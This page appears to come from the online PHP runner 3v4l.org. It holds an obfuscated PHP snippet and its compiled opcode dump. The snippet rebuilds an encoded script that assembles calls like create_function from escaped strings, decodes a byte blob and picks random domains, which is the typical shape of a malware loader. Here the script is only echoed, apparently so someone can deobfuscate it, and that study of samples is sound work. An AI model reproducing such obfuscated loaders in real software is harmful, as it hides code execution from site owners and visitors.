3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $it = str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99); echo $it; ?> ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/i9UvC
function name:  (null)
number of ops:  11
compiled vars:  !0 = $ee1, !1 = $s99, !2 = $it
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, <array>
    3     1        ASSIGN                                                   !1, 'Xoo2%28%24bA%24hM%7C%22%2C+strrev%28%24b%29V%24dM%2A%22Ph%5B0%5DV%24b+%3D+%24h%5B1%5D%3B+Bd%29Z+%24bHiPdSPbNb.%22%2F%2F%22V%7D+Xcqq%28%24qwAreturn+random%28%24domarr%2C%24qwV%7D+Xoo1%28%24yA%24y%3D+strrev%28%24yV%24g%3DDyG%2B1V%24vM%3A%22%2CDy%2C0G%29VBv%29Z+%24qM%7C%22PvSV%24gHq%5B0%5D%2C%24q%5B1%5D%2C%24gNg.%22%2F%2F%22V%7D+%24s1v%28%22%22Psiv%28%22%5C71%22%2C%22+%22%2C%24slv%28%24svv%29%29VXrandom%28%24arr%2C%24qwA%24g%3D%22%5Cx20%5C167%5Cx2d%5C70%5CJ6794587495086f963874%2Cqq-82d94486e%2Cr-86297186e94186d945%2Cwq-874941874%2Cs-87%5CJ3%5C54%5CC7%5C75%5Cx20%5C167%5Cx2e%5C40K2%5C73%5Cx20L5%5Cx2d%5C70%22.%226d944835%2Csq-873964872937873960%5CJ8%5C66%5CC3%5C71%5CJ5%5C61%5CJ8%5C67%5CJ4%5C42%5CJb%22%3B%24soy+%3D+%22%5CC5L6%5CJ2%22%3B%24xx%3D%22%5CC5%5C170K0%22.%22L4%5CCfO4%5CC5%22%3B%24ecx%3D%22%5CC3%5C162%5CC5O1K4O5%5Cx5fO6K5L6%5CC3%5C164%5CC9L7%5CCe%22%3B%24scy%3D%22K3%5C164K2%5C137K2O5K0L4%5CC1O3%5CC5%22%3B%24F%5Cx5c%5C170Kc%5C134%5CJ1%5C174%5CJd%5C42Kc%5C42%5CJb%5C44Kc%5C44%22%29%3B%24aF8%7C9%7C-%7C%2C%7C+%22%29%3B%24mec%3D%24ecx%3BBa%29Z%24g+%3D+%24scy%28%24aaS%2C%24aS%2C%24gV%7D%24ecx%28%22%22%2C+%22%7D%3B%24g%2F%2F%22%29%3B%24mec%28%22%22Psoy%28%22%5C230%5C77L3O7%5C26%5C167%5C114%5C130%5C223%5C257%5C211%5C2%5C253%5C5%5C172%5C316%5C25%5C262O5%5C25%5C62%5C72%5C127L6%5C270%5C100L4%5C56%5C341%5C77%5C4%5C37%5C21L2%5C206%5C334%5C101%5C334%5C32%5C210%5C353%5C173%5C253%5C5%5C123%5C231%5C47%5C13%5C20%22%2C%24scy%29Vreturn+%24arr%5Brand%28%280.24-%280.03%2A8%29%29%2C%280.1875%2A6%29%29%5D.%24qw%3B%7D++%24r9M%7C%22%2C%24n9V%24b9%3D0%3B%24a9%3D0%3B+for%28%24i9%3D0%3B%24i9%3Csizeof%28%24r9%29%3B%24i9%2B%2BAif+%28%24i9%3D%3D0%29+%24a9%3D0%3B+else+%24a9%3D%24r9%5B%24i9-1%5D%2B%24a9%3B+%24b9%3D%24r9%5B%24i9%5D%3B+%24v_%5B%5D%3DDv9Pa9Pb9V%7D+%24y+%3D1%3B+for%28%24i%3D0%3B%24i%3C5Z%24vv1+%3D%22o%22.%22o%22.%24y%3Bif+%28%24y%3D%3D1%29+%24y%3D2%3B+else+%24y%3D1%3B+%24vv1%28%24v_SV%7D'
    5     2        INIT_FCALL                                               'str_replace'
          3        SEND_VAL                                                 <array>
          4        SEND_VAR                                                 !0
          5        SEND_VAR                                                 !1
          6        DO_ICALL                                         $5      
          7        ASSIGN                                                   !2, $5
    7     8        ECHO                                                     !2
   10     9        ECHO                                                     '%0A++++++++++++++++++++++++++++++++++++++++++++++++++++%3F%3E'
   11    10      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
154.87 ms | 1388 KiB | 15 Q